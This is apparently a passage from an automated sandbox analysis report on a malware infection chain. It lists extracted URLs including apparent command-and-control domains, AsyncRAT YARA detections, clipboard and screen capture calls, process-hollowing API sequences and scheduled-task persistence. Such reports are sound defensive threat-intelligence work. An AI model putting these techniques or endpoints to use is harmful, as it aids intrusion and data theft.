Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: explorer.exe, 0000000B.00000000.2783920395.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: 6c29e572e4.exe, 00000010.00000002.3374926072.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://print-vexer.biz/api
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 6c29e572e4.exe, 00000010.00000003.3289078572.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/
Source: 6c29e572e4.exe, 00000010.00000003.3289078572.000000000108F000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3374926072.000000000108F000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3289078572.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/api
Source: 6c29e572e4.exe, 00000010.00000003.3289078572.0000000001061000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/apia
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 6c29e572e4.exe, 00000010.00000002.3373656597.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 6c29e572e4.exe, 00000010.00000002.3373656597.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 6c29e572e4.exe, 00000010.00000002.3373656597.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: explorer.exe, 0000000B.00000000.2776738838.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 0000000B.00000000.2776738838.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: explorer.exe, 0000000B.00000003.3376604095.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3374279546.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: explorer.exe, 0000000B.00000003.3376001967.000000000C899000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.35.43:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.35.43:443 -> 192.168.2.5:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:50233 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6737.tmp.fcxcx.exe PID: 3748, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Code function: 16_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

16_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Code function: 16_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

16_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Code function: 16_2_00431BB0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

16_2_00431BB0

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 26.2.861C.tmp.Build.exe.3fa3990.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

.NET source code contains suspicious base64 encoded strings

Source: 861C.tmp.Build.exe.11.dr, DarksProtectorD3eu6PcbZm91S53n53555a2377zss1P81R24r6j7M72O2H22m6MA283DarksProtector.cs	Base64 encoded string: System.Security.
Source: 861C.tmp.Build.exe.11.dr, DarksProtectorD3eu6PcbZm91S53n53555a2377zss1P81R24r6j7M72O2H22m6MA283DarksProtector.cs	Base64 encoded string: System.Net

.NET source code contains very large strings

Source: 861C.tmp.Build.exe.11.dr, DarksProtectorD3eu6PcbZm91S53n53555a2377zss1P81R24r6j7M72O2H22m6MA283DarksProtector.cs

Long String: Length: 315392

Drops password protected ZIP file

Source: file.bin.35.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 45777d8908.exe.6.dr	Static PE information: section name:
Source: 45777d8908.exe.6.dr	Static PE information: section name: .idata
Source: 45777d8908.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE2224D8 GetModuleFileNameW,CreateProcessW,CreateFileW,GetFileSize,CloseHandle,VirtualAlloc,CloseHandle,ReadFile,VirtualFree,CloseHandle,CloseHandle,GetThreadContext,VirtualFree,ReadProcessMemory,GetModuleHandleA,GetProcAddress,NtUnmapViewOfSection,VirtualFree,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,WriteProcessMemory,VirtualFree,RtlCompareMemory,ReadProcessMemory,WriteProcessMemory,VirtualFree,WriteProcessMemory,SetThreadContext,VirtualFree,ResumeThread,VirtualFree,VirtualFree,	7_2_00007FF6AE2224D8
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C3724D8 GetModuleFileNameW,CreateProcessW,CreateFileW,GetFileSize,CloseHandle,VirtualAlloc,CloseHandle,ReadFile,VirtualFree,CloseHandle,CloseHandle,GetThreadContext,VirtualFree,ReadProcessMemory,GetModuleHandleA,GetProcAddress,NtUnmapViewOfSection,VirtualFree,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,WriteProcessMemory,VirtualFree,RtlCompareMemory,ReadProcessMemory,WriteProcessMemory,VirtualFree,WriteProcessMemory,SetThreadContext,VirtualFree,ResumeThread,VirtualFree,VirtualFree,	12_2_00007FF64C3724D8
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00BFF80C NtProtectVirtualMemory,NtProtectVirtualMemory,	16_2_00BFF80C
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00BFF2CC NtAllocateVirtualMemory,	16_2_00BFF2CC

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	File created: C:\Windows\Tasks\Gxtuum.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B5C83	0_2_001B5C83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B735A	0_2_001B735A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F8860	0_2_001F8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002C8101	0_2_002C8101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B4DE0	0_2_001B4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B4B30	0_2_001B4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002C7B6E	0_2_002C7B6E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA78BB	2_2_00BA78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA8860	2_2_00BA8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA7049	2_2_00BA7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA31A8	2_2_00BA31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B64B30	2_2_00B64B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B64DE0	2_2_00B64DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA2D10	2_2_00BA2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA779B	2_2_00BA779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B97F36	2_2_00B97F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BA78BB	3_2_00BA78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BA8860	3_2_00BA8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BA7049	3_2_00BA7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BA31A8	3_2_00BA31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B64B30	3_2_00B64B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B64DE0	3_2_00B64DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BA2D10	3_2_00BA2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BA779B	3_2_00BA779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B97F36	3_2_00B97F36
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE223468	7_2_00007FF6AE223468
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE2224D8	7_2_00007FF6AE2224D8
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C373468	12_2_00007FF64C373468
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C3724D8	12_2_00007FF64C3724D8
Source: C:\Windows\System32\audiodg.exe	Code function: 13_2_00007FF7A91B3468	13_2_00007FF7A91B3468
Source: C:\Windows\System32\audiodg.exe	Code function: 13_2_00007FF7A91B24D8	13_2_00007FF7A91B24D8
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_00007FF7E52B3468	14_2_00007FF7E52B3468
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_00007FF7E52B24D8	14_2_00007FF7E52B24D8
Source: C:\Windows\System32\msiexec.exe	Code function: 15_2_00007FF794683468	15_2_00007FF794683468
Source: C:\Windows\System32\msiexec.exe	Code function: 15_2_00007FF7946824D8	15_2_00007FF7946824D8
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0057283B	16_2_0057283B
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0040A960	16_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004087F0	16_2_004087F0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00425F7D	16_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00409070	16_2_00409070
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043A030	16_2_0043A030
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004038C0	16_2_004038C0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004380D9	16_2_004380D9
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041D8E0	16_2_0041D8E0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042D085	16_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004280B0	16_2_004280B0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00426170	16_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042297F	16_2_0042297F
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042A100	16_2_0042A100
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00437900	16_2_00437900
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00416E97	16_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00405910	16_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00425920	16_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004301D0	16_2_004301D0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004081F0	16_2_004081F0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00408990	16_2_00408990
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00417190	16_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00414A40	16_2_00414A40
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041BA48	16_2_0041BA48
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0040CA54	16_2_0040CA54
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00404270	16_2_00404270
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00422270	16_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00406200	16_2_00406200
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00423A00	16_2_00423A00
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043CAC0	16_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043E2C0	16_2_0043E2C0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004292D0	16_2_004292D0
